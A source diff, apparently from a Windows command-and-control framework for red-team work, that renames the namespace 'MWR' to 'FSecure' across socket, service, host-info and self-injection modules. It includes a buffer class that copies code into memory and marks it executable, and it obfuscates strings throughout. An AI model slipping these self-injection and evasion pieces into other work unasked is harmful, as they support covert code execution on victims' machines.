void MWR::DuplexConnection::StartReceiving(std::function<void(ByteVector)> callback)
void FSecure::DuplexConnection::StartReceiving(std::function<void(ByteVector)> callback)
{
m_IsReceiving = true;
m_ReceivingThread = std::thread([this, callback]()
@ -85,27 +85,27 @@ void MWR::DuplexConnection::StartReceiving(std::function<void(ByteVector)> callb
callback(std::move(message));
}
}
catch (MWR::SocketsException&)
catch (FSecure::SocketsException&)
{
Stop();
}
});
}
void MWR::DuplexConnection::Stop()
void FSecure::DuplexConnection::Stop()
{
m_IsSending = false;
m_IsReceiving = false;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool MWR::DuplexConnection::IsSending() const
bool FSecure::DuplexConnection::IsSending() const
{
return m_IsSending;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::DuplexConnection::Send(ByteVector message)
void FSecure::DuplexConnection::Send(ByteVector message)
{
std::scoped_lock lock(m_MessagesMutex);
m_Messages.emplace(std::move(message));
@ -113,7 +113,7 @@ void MWR::DuplexConnection::Send(ByteVector message)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::DuplexConnection::GetMessage(std::unique_lock<std::mutex>& lock)
FSecure::ByteVector FSecure::DuplexConnection::GetMessage(std::unique_lock<std::mutex>& lock)
{
auto popMessage = [this]
{

View File

@ -1,10 +1,10 @@
#pragma once
#include "Socket.h"
#include "Common/MWR/CppTools/ByteVector.h"
#include "Common/MWR/CppTools/ByteView.h"
#include "Common/FSecure/CppTools/ByteVector.h"
#include "Common/FSecure/CppTools/ByteView.h"
namespace MWR
namespace FSecure
{
class DuplexConnection
{

View File

@ -2,13 +2,13 @@
#include "InitializeSockets.h"
#include "SocketsException.h"
namespace MWR
namespace FSecure
{
void InitializeSockets::Initialize()
{
WSADATA wsaData;
if (auto err = WSAStartup(MAKEWORD(2, 2), &wsaData))
throw MWR::SocketsException(OBF("Failed to initialize WinSock"), err);
throw FSecure::SocketsException(OBF("Failed to initialize WinSock"), err);
}
void InitializeSockets::Deinitialize() noexcept

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR {
namespace FSecure {
/// wrapper to WSAStartup and WSACleanup
class InitializeSockets

View File

@ -3,28 +3,28 @@
#include "SocketsException.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Socket::Socket(const AddrInfo& addrinfo)
FSecure::Socket::Socket(const AddrInfo& addrinfo)
{
if (m_Socket = socket(addrinfo->ai_family, addrinfo->ai_socktype, addrinfo->ai_protocol); m_Socket == INVALID_SOCKET)
throw SocketsException(OBF("Failed to create socket. Error: ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Socket::~Socket() noexcept
FSecure::Socket::~Socket() noexcept
{
if (m_Socket != INVALID_SOCKET)
closesocket(m_Socket);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Socket::Socket(Socket&& other) noexcept
FSecure::Socket::Socket(Socket&& other) noexcept
{
m_Socket = other.m_Socket;
other.m_Socket = INVALID_SOCKET;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Socket& MWR::Socket::operator=(Socket&& other) noexcept
FSecure::Socket& FSecure::Socket::operator=(Socket&& other) noexcept
{
m_Socket = other.m_Socket;
other.m_Socket = INVALID_SOCKET;
@ -32,32 +32,32 @@ MWR::Socket& MWR::Socket::operator=(Socket&& other) noexcept
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Socket::operator bool() const noexcept
FSecure::Socket::operator bool() const noexcept
{
return m_Socket != INVALID_SOCKET;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::Socket::Send(ByteVector const& data)
void FSecure::Socket::Send(ByteVector const& data)
{
// First send the 4-byte (network order) length of chunk.
uint32_t size = htonl(static_cast<uint32_t>(data.size()));
if (SOCKET_ERROR == send(m_Socket, reinterpret_cast<const char*>(&size), sizeof(size), 0))
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
// Write the chunk to socket.
if (SOCKET_ERROR == send(m_Socket, reinterpret_cast<const char*>(data.data()), static_cast<int>(data.size()), 0))
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Socket::Receive()
FSecure::ByteVector FSecure::Socket::Receive()
{
// First read the 4-byte (network order) length of chunk.
uint32_t chunkLength = 0;
int bytesRead;
if (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0); bytesRead == SOCKET_ERROR)
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
uint32_t length = ntohl(chunkLength);
if (!bytesRead or !length)
@ -73,13 +73,13 @@ MWR::ByteVector MWR::Socket::Receive()
return {}; //< The connection has been gracefully closed.
case SOCKET_ERROR:
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
return buffer;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::Socket::Bind(const AddrInfo& addrinfo)
void FSecure::Socket::Bind(const AddrInfo& addrinfo)
{
// Setup the TCP listening socket
if (bind(m_Socket, addrinfo->ai_addr, static_cast<int>(addrinfo->ai_addrlen)))
@ -87,7 +87,7 @@ void MWR::Socket::Bind(const AddrInfo& addrinfo)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::Socket::Connect(std::string_view addr, uint16_t port)
void FSecure::Socket::Connect(std::string_view addr, uint16_t port)
{
// TODO IPv6 support
sockaddr_in tsClient;
@ -99,35 +99,35 @@ void MWR::Socket::Connect(std::string_view addr, uint16_t port)
case 0:
throw std::invalid_argument(OBF("Provided address in not a valid IPv4 dotted - decimal string"));
case -1:
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Couldn't convert standard text IPv4 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
// Attempt to connect.
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
throw MWR::SocketsException(OBF("Couldn't create socket. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Couldn't create socket. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
if (SOCKET_ERROR == connect(m_Socket, reinterpret_cast<const sockaddr*>(&tsClient), sizeof(tsClient)))
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ addr } +OBF(":") + std::to_string(port) + OBF(". Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Could not connect to ") + std::string{ addr } +OBF(":") + std::to_string(port) + OBF(". Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::Socket::Listen(int maxconn)
void FSecure::Socket::Listen(int maxconn)
{
if (listen(m_Socket, 1) == SOCKET_ERROR)
throw MWR::SocketsException(OBF("listen failed. Error code: ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("listen failed. Error code: ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Socket MWR::Socket::Accept()
FSecure::Socket FSecure::Socket::Accept()
{
SOCKET clientSocket = accept(m_Socket, nullptr, nullptr);
if (clientSocket == INVALID_SOCKET)
throw MWR::SocketsException(OBF("accept failed. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("accept failed. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
return clientSocket;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool MWR::Socket::HasReceivedData()
bool FSecure::Socket::HasReceivedData()
{
pollfd xx{ m_Socket, POLLRDNORM, 0};
auto ret = WSAPoll(&xx, /* one socket on list */ 1, /* return immediately*/ 0);
@ -150,14 +150,14 @@ bool MWR::Socket::HasReceivedData()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ClientSocket::ClientSocket(std::string_view addr, uint16_t port)
FSecure::ClientSocket::ClientSocket(std::string_view addr, uint16_t port)
: m_Socket{ AddrInfo{ addr, std::to_string(port).c_str() } }
{
m_Socket.Connect(addr, port);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ServerSocket::ServerSocket(std::string_view addr, uint16_t port)
FSecure::ServerSocket::ServerSocket(std::string_view addr, uint16_t port)
: m_Addrinfo(addr, port)
, m_ListeningSocket(m_Addrinfo)
{
@ -166,7 +166,7 @@ MWR::ServerSocket::ServerSocket(std::string_view addr, uint16_t port)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ServerSocket::ServerSocket(uint16_t port)
FSecure::ServerSocket::ServerSocket(uint16_t port)
: ServerSocket(OBF(""), port)
{
}

View File

@ -1,9 +1,9 @@
#pragma once
#include "AddrInfo.h"
#include "Common/MWR/CppTools/ByteVector.h"
#include "Common/FSecure/CppTools/ByteVector.h"
namespace MWR
namespace FSecure
{
/// Socket wrapper
/// @note user has to call WSAStartup;

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR
namespace FSecure
{
/// Exception used to indicate and describe WinSockets library errors.
struct SocketsException : std::runtime_error

View File

@ -3,13 +3,13 @@
#include "Services.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::CppCommons::CppTools::XError<MWR::CppCommons::CppTools::SystemErrorCode> MWR::CppCommons::WinTools::AbstractService::OnServiceInit(DWORD, LPTSTR*)
FSecure::CppCommons::CppTools::XError<FSecure::CppCommons::CppTools::SystemErrorCode> FSecure::CppCommons::WinTools::AbstractService::OnServiceInit(DWORD, LPTSTR*)
{
return NO_ERROR;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::CppCommons::CppTools::XError<MWR::CppCommons::CppTools::SystemErrorCode> MWR::CppCommons::WinTools::AbstractService::OnServiceStop()
FSecure::CppCommons::CppTools::XError<FSecure::CppCommons::CppTools::SystemErrorCode> FSecure::CppCommons::WinTools::AbstractService::OnServiceStop()
{
SetServiceStatus(SERVICE_STOP_PENDING, 100);
@ -17,37 +17,37 @@ MWR::CppCommons::CppTools::XError<MWR::CppCommons::CppTools::SystemErrorCode> MW
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::CppCommons::WinTools::AbstractService::OnServiceInterrogate()
void FSecure::CppCommons::WinTools::AbstractService::OnServiceInterrogate()
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::CppCommons::WinTools::AbstractService::OnServicePause()
void FSecure::CppCommons::WinTools::AbstractService::OnServicePause()
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::CppCommons::WinTools::AbstractService::OnServiceContinue()
void FSecure::CppCommons::WinTools::AbstractService::OnServiceContinue()
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::CppCommons::WinTools::AbstractService::OnServiceShutdown()
void FSecure::CppCommons::WinTools::AbstractService::OnServiceShutdown()
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::CppCommons::WinTools::AbstractService::OnServiceUserControl(DWORD)
void FSecure::CppCommons::WinTools::AbstractService::OnServiceUserControl(DWORD)
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::CppCommons::WinTools::AbstractService::SetServiceStatus(DWORD state, DWORD waitHint, DWORD serviveExitCode)
void FSecure::CppCommons::WinTools::AbstractService::SetServiceStatus(DWORD state, DWORD waitHint, DWORD serviveExitCode)
{
WinTools::Services::SetServiceStatus(state, waitHint, serviveExitCode);
}

View File

@ -1,8 +1,8 @@
#pragma once
#include "Common/MWR/CppTools/XError.h"
#include "Common/FSecure/CppTools/XError.h"
namespace MWR::CppCommons::WinTools
namespace FSecure::CppCommons::WinTools
{
struct Services;

View File

@ -1,11 +1,11 @@
#include "StdAfx.h"
#include "HostInfo.h"
#include "Common/MWR/CppTools/ScopeGuard.h"
#include "Common/FSecure/CppTools/ScopeGuard.h"
#include "Shlobj.h"
#include "Lm.h"
#include <sstream>
namespace MWR
namespace FSecure
{
namespace
{

View File

@ -3,7 +3,7 @@
#include "Common/json/json.hpp"
namespace MWR
namespace FSecure
{
using json = nlohmann::json;

View File

@ -1,9 +1,9 @@
#include "StdAfx.h"
#include "InjectionBuffer.h"
namespace MWR::WinTools
namespace FSecure::WinTools
{
InjectionBuffer::InjectionBuffer(MWR::ByteView code) : m_Size(code.size())
InjectionBuffer::InjectionBuffer(FSecure::ByteView code) : m_Size(code.size())
{
// Allocate memory as R/W
auto codePointer = VirtualAlloc(0, m_Size, MEM_COMMIT, PAGE_READWRITE);

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::WinTools
namespace FSecure::WinTools
{
/// Wrapper for self-injection
class InjectionBuffer
@ -12,7 +12,7 @@ namespace MWR::WinTools
/// Constructor, copies the buffer and marks it as executable
/// @param code - code to inject
/// @throws std::runtime_error if VirtualAlloc fails
InjectionBuffer(MWR::ByteView code);
InjectionBuffer(FSecure::ByteView code);
/// Mark internal buffer as executable page
void MarkAsExecutable() const;

Some files were not shown because too many files have changed in this diff Show More